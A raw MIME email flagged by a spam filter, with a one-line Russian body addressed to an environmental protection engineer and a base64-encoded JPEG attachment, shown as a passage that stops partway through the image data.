X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters 0.00 BSF_SC0_TG035a Message contains invalid style definition 2.33 K2_FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters This is a multi-part message in MIME format. ------=_NextPart_000_1519_01CF224F.3CE6C070 Content-Type: multipart/alternative; boundary="----=_NextPart_001_151A_01CF224F.3CE6C070" ------=_NextPart_001_151A_01CF224F.3CE6C070 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C8=ED=E6=E5=ED=E5=F0=F3 =EF=EE =CE=CE=D1 ------=_NextPart_001_151A_01CF224F.3CE6C070 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C8=ED=E6=E5=ED=E5=F0=F3 =EF=EE =CE=CE=D1
------=_NextPart_001_151A_01CF224F.3CE6C070-- ------=_NextPart_000_1519_01CF224F.3CE6C070 Content-Type: image/jpeg; name="=?windows-1251?B?yO3m5e3l8O3uLf3q7uvu4+j35fHq6OUg6Of7?= =?windows-1251?B?8erg7ej/IOIg8ejx8uXs5S5qcGc=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?yO3m5e3l8O3uLf3q7uvu4+j35fHq6OUg6Of7?= =?windows-1251?B?8erg7ej/IOIg8ejx8uXs5S5qcGc=?=" /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAIBAQIBAQICAgICAgICAwUDAwMDAwYEBAMFBwYHBwcG BwcICQsJCAgKCAcHCg0KCgsMDAwMBwkODw0MDgsMDAz/2wBDAQICAgMDAwYDAwYMCAcIDAwMDAwM DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAz/wAARCARlAxoDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD9/KKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKr WOs2eqXV5BbXdtcTadMLe7jilV2tZTGkojkAOVYxyRvg4O2RT0YGjStZs9dtXnsbu2vIUmlt2kgl WRVlikaKWMkEjckiOjDqrKwOCCKtwkldrt+Oq+9bCuizRRRUDCiiigAooooAKKKKACiiigAooooA KKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACii igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigDmvjH8YfDP 7P3ws1/xt4y1e20Hwv4YspNQ1K/nDMtvCgySFUF3Y8BUQM7sVVQzEAxfBD43+E/2kvhNoXjrwLrt j4l8J+JbYXenajaMTHOmSpBDAMkiMrI8bhXjdGR1VlIHm3x6/al/Z68W/Cj4i+F/G/xN+HV14dis NS0Hxdpy+JoBcW8QheK9tJEglE8cyxl1ZExKpOAA2K/Mf/gkl8LPHGi/tE/HTWvgH4ruPhr+y/Z6 Oni7whLc6zHq/h2bVLi2tJo7PUJLmFmCJFC66hHEyXln5SQrdjImn9ShlVapT55RcU9U2tH2teyt eybu9ZRVtTGVaKdr/wBf1+TP2rr8Mvgp/wAF49Nm/wCCsvxG8QaRpHjzxz4Vex8RqJtU8epPpNlo ulwG/kvNF09dNiW2kmstJdhbyS/v5pIPNuI8PKfvXxx/wVL+BP7Svwr8F+C4PiFpNh45+LNjo13o ukxi/u9NfUrkxXVro2o3ltAYkSZ1WG4tJmjkkt5nVo1WZc/kH8MP2n/2P/2Pv+CgPji98cfAH4h6 Bb6Ro+q+EtQ8K2OoRar/AGTq1yJbTVYDL9vjhngWO5v7JHXCtBFbOIlmLyHtw+XzoU5zqVFTmuZW fWKXLLldmpOXNZWaTs3fRNZyqqTSSutP81f7if8A4Jyf8FifEvwi+AH7QnhvTPBnhrwh8PoPD974 y1O28JX2rW/iJ76/m0rQFex1W9vbtrOVZbuC686SK5IaFwqDepj/AFN/4N1/20NX/bD/AGONWE3h XV9K0HwNrdxo9nrus+KhrureIrmaWS+uGu2+zQHzo0urbdMQRO8rsFTBWvy++CH7cf8AwTi+Gt/8 YrG++Afxil8M/EG5t9O06zgvJGkh0OOHR7k2kzNrAZZP7X0+a4DKzNsaNfM2ExL9Uf8ABFP4+fC7 4VfD74vfGrw94R/4UR+zB4H1+Zb3WLvxBqWrap4nv2nnj0+CezEs6ww21jqlsjxRxu81ybRxPL5L qvFh6jrUqlKc0m7O1neUknbbTutdW5bSeq0kuWSkl/wP6/Q/ZmvFPjj/AMFFPg1+zd+0N4M+FPjT xpFo/wAQPiC9rHoOkDTby5e9Nzcm1gzJDE8cQedWQGVkHysSQATXAWf/AAUA8Ifte/Eb4d+CfhB8 UNJ05vFqapquq3iRC38Q2Vrpv2cNaQ2N/bt5NxPLdQOftUGWs47l4ly0c8XwR/wSy1Hwj4N/a/vr r9tSTSl/aZ0nX9TtPBuseLfFd1dTaXp9jDbnyVtZ3+z21qXnnnsrpixui12yFTGjzbUslrNWqRfO 9VFK8krtNtXutVyqLs3dPrFSl4iPR6d+n9f13t+0NFcj8M/2gPAfxp1PV7Lwd428I+LbzQPJ/tSD RtYt7+XTfODND5yxOxj8wI5XdjcEbGcGuuryKkJQk4TVmtGnumbppq6CiiioGFFFFABRRRQAUUUU AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABR RRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQB+MOval+3 1+xB4h+Ef7MfwYt/BnjrVvAnha28YX9zp2mWGn6Tf6WGtrM6TM14IcmO7gume4imS6uUvkk2wMjY 9S+E/wC1l8Q/+Cqv7BngvxZ468RaHoHwo+IPimH4f+O9F8EaTPp+tQ/bt2mxhr27uJlNrLqF3YK8 NvF5nkTB2uMCe2P2U99qOm/8FVI7Zpr2DSdZ+FDSxxF2S3vp7TWFDMF+7I8K3qAnkxi7XoJRn89/ +CQPiKfxh/wRbsNWuUiS51T9oXwzdyrECEV5PGPh92CgknGScZJ+tfbTp0sPCWKTjKfs6dRe6mru SUr+ab23d07pKx56bk1DVK7W/kev/wDBM7/gkb8H/ib/AMEvvDeg6w/xIltPET31xerbePtZsrWS 5j1KbyLr7DBcpY+dEYLdkY25G6CNmDMCT6DY/wDBul+zR4gurzU/iNp3xB+M3i3UZhLd+KPGvjXU rjWLpVjSOOOSS2lgRljSNVXKFgoA3EAAeGftR+NdZ+Hv/Brp4j1TQNX1PQ9TSGO3W70+6e2nWKbx UkM0YdCG2yRSSRsM4ZHZTkEivvf/AIU18Rvgzd+f8PPGP/CU6DFBsXwj48vJ7rayx7Yxba4Flvod 0jNLM97HqTPhI4vsygmuPi2jToZzjMHQ0jCtUjGNlZRU7Kzb0sopeSW+5pgpOWHp1JbuKb9bHgn/ ABDffsX/APRGv/Lt13/5NqPwx/wb1/s/+CfHGnXei3nxY0jwdpGqx+IrHwNZeO9Qt/D9lrEcQij1 WLY4u0vUCjbMtyGGABhRtr1/wv8AtT/En41+O/Ffg7wl8MI/DepeB9QfQfEXiLxRrNtLpGn3zWVt dwvY29nI9zqUZhvLecJP/Z26NwrSQy744/nz/gpv4b8dfs76l+z58Qbz4y+PJby9+M/hLSfFLW+t Hw94as9Hlkm+2wLYQOiNaSTCMn7bJdzpGAhnZA5bxKWFqWfLZyadkrSbs9dr8tkm7uztqtHc3lNd f8jxv9qj9kDwV+z/AP8ABX3TfEXhe+8Z2PjVvhXHd+GNW1TxdqerTW/ia58R6foenSz3F5JdTNau NSFtPG4ljFu8hWEuATvf8FHv22/23PBv7UOm/s5fBHTfh/4p8fa14Ti8Xv4g0bQRYzWVktz5LyBN SvZrSDM0E0TCbzQUnh2OJWATp/8Ago//AMpZ/AH/AGJ/hT/1aXhWvR/+dkz/ALtp/wDdpr0cxxfs o/VeROLhB3suZOVOm21LfeO21nJK17mdKF/fvrd/g30+f5GN/wAEodV+OP7ZOu/D39pP4natodpo F14H1jwvZeFl05rXUtLvGvNHiuLx5PLQSJd3Gj3c/lEL9nWSBFaYMzR/fVfMP/BGqz0+0/4JvfDt tLMT2N4+q30ckUvmpMZ9WvJmkVsnIZpGYYOPm44xX09XPxDhfquZ4jCaP2c5QurWfI+W+iS1tduy u9bFYWfPRjPuk/v1CiiivHNwooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKAPB/wBqj4eWfiH9of4J391a2upWmu3mu+Atc06+sxeWOp6J qOi3V9c28sbRsnzXOjafy5VSgljO7zQp+Uf+CfvwV0g63rH7MGi/G3wFqHw8/Zv+IKX1j4Y0yyik 8Xa/DZzWWtxy39017Kqw2+sXqwTm3s4d0+nGPdCHktx9d+Hbx/En/BRnxhb3winj8F/DfQpNFJiU PYnVtT1gajhwAzCb+xdMyGJC/ZFKhSz7vhD/AIJ9a5Y+Lf8Agjv8PdPOlRrL8KPj1oeiaPdTym5n t1PjmxQSQu43wn7HqEtocMSYjIpbbIyV7NChOrhXiaaVqXKpaRb96U7PXe10u+3SKa55SSnyP7V7 fKxg/GzS4PFf/BL39ifw1qCfaNE8W/tB6Ho+rW24p9rtZNU1UvHuXDJkovzIVYY4NfrxX41/tM/E ST4W/wDBLv8AY28UT+GvF2seHfh78ZbTx14j1HSNKe8t9H03TtTvxM87rxGzm5QR7sKxVhuBwD94 fBz/AILYfsofHWyvrjRPjt4CsY9PdY5R4hvG8Ou5YEjy01BYGlHHJjDAcAkEivb49WJee43nbcFX rcut0v3rvZdLu19rswy3k+r07b8sfyO0/ZO/5L1+05/2Uuz/APUO8M14f/wcZMunf8EhPibrEcNs 2p+Hr3QtR024lgSVrK4XW7FBLHuBCtsd1z3V2U8MQez+DP7U/wAMPgx8Vf2hNa8Y/EfwH4T0fxF8 SLKTSr7WdftLC21Nf+EL8MPugklkVZRtZWyhPDA9CK+Sv+C0/wDwVc/Z+/a5/Yx+IXwC+Gvi7U/i f8TfFt3Y6XpWj+ENGu9Q+13UF9BdKY7gReRPFm3AJgeRm3fKDyR8xhqOIjWj7O8ZX0eqs9evyfno 0tTrnKLi76o93/aV+Cdj+0J/wWU0Xwzfanq+iKfgo+q2uo6WYReWF5YeL9IvrWeMTxyxMUuLaJts kbowUhlIJFeSeF7qz/aF+MP7Rn7TEfxR+FPxK+Kf7N/gi88L+Ar3wTparpVsJNEfU11aaFbu/nnZ p727skQSGICyuwEeR2ETf2zfGlz8Uf2/vhfqeoaRfaEvjv4T+FrbWdCv45EkW01L4ieF4b3TLuKR EZo5ILia2mhljUOjyI6YZlr6QtP9O/4Lw6h5vz/2V8BLX7L28r7T4huPO6dd32W365x5fGNzZ9zE 05fXvZ31jTg7KzUuWlCUk2t04xdviTdujbXPBr2d+7fyvJ2/M+k/gx8KdK+BHwe8J+B9C+0/2H4M 0az0LTvtEnmTfZ7WBIIt7YG5tiLk4GTniulrxT/gnzeO37NEelqIotP8JeKfFHhPSLeKJY0stL0r xDqOm6fbKFAyIbO1t4gzZZvL3MzMWY+118zUacm1+VvwWi9DrWwUUUVAwooooAKKKKACiiigAooo oAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiig AooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC iiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAPAPH+tv8As4ft ceJfiLrmj+KtU8J+NvCGh+HLe48NeHr/AMQ3Nhe6be6zcOlxa2MMtwkc0WqIY5ljeIG1nWV4Wa3W f4u/YX+EPiz4E/8ABMzUfDHjrRJPDfiyz/aL8LXGo6W8omNi9x4t8OXAj8xRtkAWVcSJlHGGQspD H9UK/HD/AIKUeMtb+MH7A198KtD+I/w/0H45eAPihqWueJvhpqlyDf8Aja5fVLrUbW0sLC9kb+0r Of7ba3VvavBOlz/o8QCyxGE+9l1WUcvxNJNe+4KzdtuaV9rfZ5d1rJHNVj+9hLtf9F+v4H2x/wAE PPi1o3xe/wCCcXhK50fUNMvjo+qazpV4lnepdfZpY9Uuigk2/caSB4Jwp58u4jYZVlY+7fGH9kr4 VftD6vaah4/+GXw+8c39hCbe2ufEHh2z1Oa2iLFjGjzxsVXcScAgZJNfm3+wp+xh8D/2UvgB/beu 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 